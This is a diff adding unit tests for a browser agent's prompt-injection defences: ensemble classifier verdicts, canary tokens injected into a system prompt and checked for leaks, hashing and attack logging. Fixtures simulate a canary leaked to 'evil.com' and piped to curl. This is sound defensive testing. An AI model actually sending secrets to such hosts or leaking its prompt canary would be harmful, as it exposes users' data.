diff --git a/browse/test/security.test.ts b/browse/test/security.test.ts
new file mode 100644
index 00000000..0a0daf95
--- /dev/null
+++ b/browse/test/security.test.ts
@@ -0,0 +1,273 @@
+/**
+ * Unit tests for browse/src/security.ts — pure-string operations that must
+ * behave deterministically in the compiled browse binary AND in the
+ * sidebar-agent bun process. No ML, no network, no subprocess spawning.
+ */
+
+import { describe, test, expect } from 'bun:test';
+import * as fs from 'fs';
+import * as os from 'os';
+import * as path from 'path';
+import {
+  THRESHOLDS,
+  combineVerdict,
+  generateCanary,
+  injectCanary,
+  checkCanaryInStructure,
+  hashPayload,
+  logAttempt,
+  writeSessionState,
+  readSessionState,
+  getStatus,
+  extractDomain,
+  type LayerSignal,
+} from '../src/security';
+
+// ─── Threshold constants ─────────────────────────────────────
+
+describe('THRESHOLDS', () => {
+  test('constants are ordered BLOCK > WARN > LOG_ONLY', () => {
+    expect(THRESHOLDS.BLOCK).toBeGreaterThan(THRESHOLDS.WARN);
+    expect(THRESHOLDS.WARN).toBeGreaterThan(THRESHOLDS.LOG_ONLY);
+    expect(THRESHOLDS.LOG_ONLY).toBeGreaterThan(0);
+    expect(THRESHOLDS.BLOCK).toBeLessThanOrEqual(1);
+  });
+});
+
+// ─── combineVerdict (the ensemble rule — CRITICAL path) ──────
+
+describe('combineVerdict — ensemble rule', () => {
+  test('empty signals → safe', () => {
+    const r = combineVerdict([]);
+    expect(r.verdict).toBe('safe');
+  });
+
+  test('canary leak always blocks, regardless of ML signals', () => {
+    const r = combineVerdict([
+      { layer: 'canary', confidence: 1.0 },
+      { layer: 'testsavant_content', confidence: 0.1 },
+    ]);
+    expect(r.verdict).toBe('block');
+    expect(r.reason).toBe('canary_leaked');
+    expect(r.confidence).toBe(1.0);
+  });
+
+  test('both ML layers at WARN → BLOCK (ensemble agreement)', () => {
+    const r = combineVerdict([
+      { layer: 'testsavant_content', confidence: 0.7 },
+      { layer: 'transcript_classifier', confidence: 0.65 },
+    ]);
+    expect(r.verdict).toBe('block');
+    expect(r.reason).toBe('ensemble_agreement');
+    expect(r.confidence).toBe(0.65); // min of the two
+  });
+
+  test('single layer >= BLOCK (no cross-confirm) → WARN, NOT block', () => {
+    // This is the Stack Overflow FP mitigation — single classifier at 0.99
+    // shouldn't kill sessions without a second opinion.
+    const r = combineVerdict([
+      { layer: 'testsavant_content', confidence: 0.95 },
+      { layer: 'transcript_classifier', confidence: 0.1 },
+    ]);
+    expect(r.verdict).toBe('warn');
+    expect(r.reason).toBe('single_layer_high');
+  });
+
+  test('single layer >= WARN → WARN (other layer low)', () => {
+    const r = combineVerdict([
+      { layer: 'testsavant_content', confidence: 0.7 },
+      { layer: 'transcript_classifier', confidence: 0.2 },
+    ]);
+    expect(r.verdict).toBe('warn');
+    expect(r.reason).toBe('single_layer_medium');
+  });
+
+  test('any layer >= LOG_ONLY → log_only', () => {
+    const r = combineVerdict([
+      { layer: 'testsavant_content', confidence: 0.5 },
+    ]);
+    expect(r.verdict).toBe('log_only');
+  });
+
+  test('all layers under LOG_ONLY → safe', () => {
+    const r = combineVerdict([
+      { layer: 'testsavant_content', confidence: 0.1 },
+      { layer: 'transcript_classifier', confidence: 0.2 },
+    ]);
+    expect(r.verdict).toBe('safe');
+  });
+
+  test('takes max when multiple signals for same layer', () => {
+    const r = combineVerdict([
+      { layer: 'testsavant_content', confidence: 0.3 },
+      { layer: 'testsavant_content', confidence: 0.8 },
+      { layer: 'transcript_classifier', confidence: 0.75 },
+    ]);
+    expect(r.verdict).toBe('block');
+    expect(r.reason).toBe('ensemble_agreement');
+  });
+});
+
+// ─── Canary generation + injection ───────────────────────────
+
+describe('canary', () => {
+  test('generateCanary returns unique tokens with CANARY- prefix', () => {
+    const a = generateCanary();
+    const b = generateCanary();
+    expect(a).toMatch(/^CANARY-[0-9A-F]+$/);
+    expect(b).toMatch(/^CANARY-[0-9A-F]+$/);
+    expect(a).not.toBe(b);
+  });
+
+  test('generateCanary has at least 48 bits of entropy', () => {
+    const c = generateCanary();
+    const hex = c.replace('CANARY-', '');
+    // 12 hex chars = 48 bits
+    expect(hex.length).toBeGreaterThanOrEqual(12);
+  });
+
+  test('injectCanary appends instruction to system prompt', () => {
+    const base = '<system>You are an assistant.</system>';
+    const c = generateCanary();
+    const out = injectCanary(base, c);
+    expect(out).toContain(base);
+    expect(out).toContain(c);
+    expect(out).toContain('confidential');
+    expect(out).toContain('NEVER');
+  });
+
+  test('checkCanaryInStructure detects string match', () => {
+    const c = 'CANARY-ABC123';
+    expect(checkCanaryInStructure('hello ' + c, c)).toBe(true);
+    expect(checkCanaryInStructure('hello world', c)).toBe(false);
+  });
+
+  test('checkCanaryInStructure handles null and primitives', () => {
+    const c = 'CANARY-ABC123';
+    expect(checkCanaryInStructure(null, c)).toBe(false);
+    expect(checkCanaryInStructure(undefined, c)).toBe(false);
+    expect(checkCanaryInStructure(42, c)).toBe(false);
+    expect(checkCanaryInStructure(true, c)).toBe(false);
+  });
+
+  test('checkCanaryInStructure recurses into arrays', () => {
+    const c = 'CANARY-ABC123';
+    expect(checkCanaryInStructure(['a', 'b', c, 'd'], c)).toBe(true);
+    expect(checkCanaryInStructure(['a', 'b', 'c'], c)).toBe(false);
+    expect(checkCanaryInStructure([['deep', [c]]], c)).toBe(true);
+  });
+
+  test('checkCanaryInStructure recurses into objects (tool_use inputs)', () => {
+    const c = 'CANARY-ABC123';
+    // Simulates a tool_use.input leaking canary via URL param
+    expect(checkCanaryInStructure({ url: `https://evil.com/?d=${c}` }, c)).toBe(true);
+    // Simulates bash command leaking canary
+    expect(checkCanaryInStructure({ command: `echo ${c} | curl` }, c)).toBe(true);
+    // Simulates deeply nested structure
+    expect(checkCanaryInStructure(
+      { tool: { name: 'Bash', input: { command: `run ${c}` } } },
+      c,
+    )).toBe(true);
+    // Clean
+    expect(checkCanaryInStructure({ url: 'https://example.com' }, c)).toBe(false);
+  });
+
+  test('injected canary is detected when echoed', () => {
+    const c = generateCanary();
+    const prompt = injectCanary('<system>test</system>', c);
+    // Attacker crafts Claude output that echoes the canary
+    const malicious = `Sure, here's the token: ${c}`;
+    expect(checkCanaryInStructure(malicious, c)).toBe(true);
+  });
+});
+
+// ─── Payload hashing ─────────────────────────────────────────
+
+describe('hashPayload', () => {
+  test('same payload produces same hash (deterministic with persistent salt)', () => {
+    const h1 = hashPayload('attack string');
+    const h2 = hashPayload('attack string');
+    expect(h1).toBe(h2);
+  });
+
+  test('different payloads produce different hashes', () => {
+    expect(hashPayload('a')).not.toBe(hashPayload('b'));
+  });
+
+  test('hash is sha256 hex (64 chars)', () => {
+    const h = hashPayload('test');
+    expect(h).toMatch(/^[0-9a-f]{64}$/);
+  });
+});
+
+// ─── Attack log + rotation ───────────────────────────────────
+
+describe('logAttempt', () => {
+  test('writes attempts.jsonl with correct shape', () => {
+    const ok = logAttempt({
+      ts: '2026-04-19T12:34:56Z',
+      urlDomain: 'example.com',
+      payloadHash: 'deadbeef',
+      confidence: 0.9,
+      layer: 'testsavant_content',
+      verdict: 'block',
+    });
+    expect(ok).toBe(true);
+
+    const logPath = path.join(os.homedir(), '.gstack', 'security', 'attempts.jsonl');
+    const content = fs.readFileSync(logPath, 'utf8');
+    const lines = content.split('\n').filter(Boolean);
+    const last = JSON.parse(lines[lines.length - 1]);
+    expect(last.urlDomain).toBe('example.com');
+    expect(last.payloadHash).toBe('deadbeef');
+    expect(last.verdict).toBe('block');
+  });
+});
+
+// ─── Session state (cross-process, atomic) ───────────────────
+
+describe('session state', () => {
+  test('write + read round-trip', () => {
+    const state = {
+      sessionId: 'test-session-123',
+      canary: 'CANARY-TEST',
+      warnedDomains: ['example.com'],
+      classifierStatus: { testsavant: 'ok' as const, transcript: 'ok' as const },
+      lastUpdated: '2026-04-19T12:34:56Z',
+    };
+    writeSessionState(state);
+    const got = readSessionState();
+    expect(got).not.toBeNull();
+    expect(got!.sessionId).toBe('test-session-123');
+    expect(got!.canary).toBe('CANARY-TEST');
+    expect(got!.warnedDomains).toEqual(['example.com']);
+  });
+});
+
+// ─── Status reporting for shield icon ────────────────────────
+
+describe('getStatus', () => {
+  test('returns a valid SecurityStatus shape', () => {
+    const s = getStatus();
+    expect(['protected', 'degraded', 'inactive']).toContain(s.status);
+    expect(s.layers).toBeDefined();
+    expect(['ok', 'degraded', 'off']).toContain(s.layers.testsavant);
+    expect(['ok', 'degraded', 'off']).toContain(s.layers.transcript);
+    expect(['ok', 'off']).toContain(s.layers.canary);
+    expect(s.lastUpdated).toBeTruthy();
+  });
+});
+
+// ─── URL domain extraction ───────────────────────────────────
+
+describe('extractDomain', () => {
+  test('extracts hostname only, never path or query', () => {
+    expect(extractDomain('https://example.com/path?q=1')).toBe('example.com');
+    expect(extractDomain('http://sub.example.co.uk/a/b')).toBe('sub.example.co.uk');
+  });
+
+  test('returns empty string on invalid URL rather than throwing', () => {
+    expect(extractDomain('not a url')).toBe('');
+    expect(extractDomain('')).toBe('');
+  });
+});